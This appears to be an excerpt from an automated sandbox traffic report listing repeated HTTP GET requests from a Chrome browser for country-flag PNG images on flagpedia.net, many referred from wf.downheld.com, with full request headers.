Source: global traffic	HTTP traffic detected: GET /data/flags/w20/sl.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/ws.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/sg.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/st.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/sk.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/sa.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/si.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/sm.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/sn.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/sb.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/rs.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/so.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/sc.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/za.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/kr.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/sl.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/sg.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/ss.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/sk.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/si.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/es.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/sb.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/lk.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/sd.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/sr.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/so.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/za.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/se.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/kr.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/ch.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/ss.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/sy.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/tw.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/es.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/tj.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/tz.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/lk.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/th.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/sd.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/sr.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/se.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/tl.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/tg.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/ch.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/to.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/tt.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/sy.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/tn.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
